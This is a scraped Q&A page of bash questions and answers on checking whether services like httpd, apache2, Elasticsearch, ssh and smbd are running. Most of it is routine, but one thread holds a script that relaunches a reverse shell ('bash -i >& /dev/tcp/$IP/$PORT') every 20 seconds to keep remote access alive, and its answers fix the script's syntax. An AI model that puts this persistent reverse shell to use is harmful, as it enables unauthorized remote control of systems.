UNIX script to check if httpd service is on or off and if off send a email [duplicate] - linux

This question already has an answer here:
Run current bash script in background
(1 answer)
UNIX script to check if httpd service is on or off and if off send a email [duplicate]
Closed 6 years ago.
Script to check if httpd is on or off
#!/bin/bash
service=service_name
email=user#domain.com
host=`hostname -f`
if (( $(ps -ef | grep -v grep | grep $service | wc -l) > 0 ))
then
echo "$service is running"
else
/etc/init.d/$service start
if (( $(ps -ef | grep -v grep | grep $service | wc -l) > 0 ))
then
subject="$service at $host has been started"
echo "$service at $host wasn't running and has been started" | mail -s "$subject" $email
else
subject="$service at $host is not running"
echo "$service at $host is stopped and cannot be started!!!" | mail -s "$subject" $email
fi
fi
How do I make this script run in background so that it keeps checking if httpd service is on or off and emails a message if it goes off !! ( PS-: I DON'T WANT TO MAKE THE SCRIPT AS A CRONJOB) just like a daemon process which runs in background!!
Please Help

If you launch the script with nohup it will run as a daemon.
nohup script.sh &

Related

How can I check if apache2 service is running with a bash script?

I want to monitor apache service for ubuntu but below script is not working.
#!/bin/bash
if [ $(ps aux | grep apache2 | wc -l) -gt 1 ]; then
echo "Statistic:0"
else
echo "Statistic:1"
fi
exit 0
I edited your question to make it readable - but I think it is working as expected once the format is cleaned up. It looks like you are trying to find out if apache2 is running.
#!/bin/bash
if [ $(ps aux | grep apache2 | wc -l) -gt 1 ]; then
echo "Statistic:0"
else
echo "Statistic:1"
fi
exit 0
Depending on what "flavor" of linux you are running, the following might be a better option for you. You can also use is-enabled, is-failed, to check other status.
if systemctl is-active -q apache2; then
echo "Statistic:0"
else
echo "Statistic:1"
fi

How to check whether my process is running or not in Linux [duplicate]

This question already has answers here:
Linux command to check if a shell script is running or not
(9 answers)
Closed 3 years ago.
I'm running a script called RecordProcessor.sh and I'm writing another script to check whether RecordProcessor.sh is running or not.Even though that process is running, if i do grep I'm not able to find the process running .
My script is as follows:
ps -U $LOGNAME | grep "RecordProcessor.sh"
I did everything even like
ps -U $LOGNAME | grep -v grep | grep "RecordProcessor.sh"
I can only find in which bash it is running not the actual file name.
You can use the following:
if pidof -s RecordProcessor.sh &>/dev/null;then
echo "process exists"
else
echo "no such process"
fi
Or using grep
if ps -aux -U $LOGNAME | grep RecordProcessor.sh | grep --quiet -v "grep";then
echo "process exists"
else
echo "no such process"
fi

Error "Integer Expression Expected" in Bash script

So, I'm trying to write a bash script to phone home with a reverse shell to a certain IP using bash if the program isn't already running. It's supposed to check every 20 seconds to see if the process is alive, and if it isn't, it'll execute the shell. However, I get the error ./ReverseShell.sh: line 9: [: ps -ef | grep "bash -i" | grep -v grep | wc -l: integer expression expected When I attempt to execute my program. This is because I'm using -eq in my if statement. When I replace -eq with =, the program compiles, but it evaluates to 0 no matter what.
What am I doing wrong? My code is below.
#!/bin/bash
#A small program designed to establish and keep a reverse shell open
IP="" #Insert your IP here
PORT="" #Insert the Port you're listening on here.
while(true); do
if [ 'ps -ef | grep "bash -i" | grep -v grep | wc -l' -eq 0 ]
then
echo "Process not found, launching reverse shell to $IP on port $PORT"
bash -i >& /dev/tcp/$IP/$PORT 0>&1
sleep 20
else
echo "Process found, sleeping for 20 seconds..."
ps -ef | grep "bash -i" | grep -v "grep" | wc -l
sleep 20
fi
done
There is a small change required in your code.
You have to use tilt "`" instead of single quotes "''" inside if.
if [ `ps -ef | grep "bash -i" | grep -v grep | wc -l` -eq 0 ]
This worked for me. Hope it helps you too.
Besides the typo mentioned in the comments it should be:
if ! pgrep -f 'bash -i' > /dev/null ; then
echo "process not found"
else
echo "process found"
fi
Since pgrep emits a trueish exit status if at least 1 process was found and a falseish exit status if no process was found, you can use it directly in the if condition. [ (which is a command) is not required.
PS: Just realized that this has also been mentioned in comments an hour ago. Will keep it, because it is imo a good practice.

Command to detect if elastic search is active in linux

I have to detect if elastic search is running on Linux. If it is not running than start it machine using shell script.
Used following code to detect if elastic search is running, but every time else condition is executed even if service is running:
service=elasticsearch
if (( $(ps -ef | grep -v grep | grep $service | wc -l) > 0 ))
then
echo "$service is running!!!"
else
echo "$service is not running!!!"
fi
Here is a sample script and used in a shell script to check if my sevice is running:
Take a look at this script to see if it helps you.
#verify if the service is running
ps aux | grep SERVICENAME | pidof java > /dev/null
verifier=$?
zero=0
if [ $zero = $verifier ]
then
echo "Service was successfully started"
else
echo "Service stopped"
fi
In my case my service was done in java then I use the pidof to properly filter my service
The issue with checking for pid is that the service might have started, but it might not be ready actually. So instead, I check for port that ES is listening on. It works better for me.
netstat -uplnt | grep :9200 | grep LISTEN > /dev/null
verifier=$?
if [ 0 = $verifier ]
then
echo "ES is listening on port 9200"
else
echo "ES is not ready yet"
fi

Bash script to stop ssh and smbd depending on SSID

My bash scripting skills are very rusty (it's been ~10 years since I scripted regularly). So, I'm probably overlooking something obvious. I am trying to get the following script to work:
#!/bin/bash
SSID=$(iwgetid -r)
if [[ $SSID = NETWORK ]]; then
if (( $(ps aux | grep [s]shd | wc -l) > 0 )); then
sudo service ssh stop
if (( $(ps aux | grep [s]mdb | wc -l) > 0 )); then
sudo service smbd stop
if (( $(ps aux | grep [n]mdb | wc -l) > 0 )); then
sudo service nmbd stop
else
echo You are not connected to NETWORK
fi
fi
fi
fi
exit 0
What it should do: If I am connected to particular network (SSID removed from script), check to see if ssh, smbd, and nmbd are running, and if so, stop them. If they aren't, do nothing. If not connected to the network, say so and exit. Bash seems to be ignoring the last 2 if...then statements, and I'm not sure why (Wrong order maybe? Conditional formatting incorrect?)
Any help would be appreciated. Also, if you have style tips, I'll take those too (like I said, I'm very rusty). I spent a few hours looking around here and Google, but couldn't find anything relevant and helpful.
You almost certainly meant to do this:
SSID=$(iwgetid -r)
if [[ $SSID = NETWORK ]]; then
if (( $(ps aux | grep [s]shd | wc -l) > 0 )); then
sudo service ssh stop
fi
if (( $(ps aux | grep [s]mdb | wc -l) > 0 )); then
sudo service smbd stop
fi
if (( $(ps aux | grep [n]mdb | wc -l) > 0 )); then
sudo service nmbd stop
fi
else
echo You are not connected to NETWORK
fi
But there is no real cost to running service stop on something which is not running, so you can simplify:
SSID=$(iwgetid -r)
if [[ $SSID = NETWORK ]]; then
sudo service ssh stop
sudo service smbd stop
sudo service nmbd stop
else
echo You are not connected to NETWORK
fi
Finally, I would recommend not using sudo inside the script. Instead, run the script itself with sudo check_ssid (or whatever it is called), so that the script ends up being:
SSID=$(iwgetid -r)
if [[ $SSID = NETWORK ]]; then
service ssh stop
service smbd stop
service nmbd stop
else
echo You are not connected to NETWORK
fi
By the way, if you really want to use ps and grep to check if a process is running, consider my answer here: How to test if a process is running with grep in bash?

Resources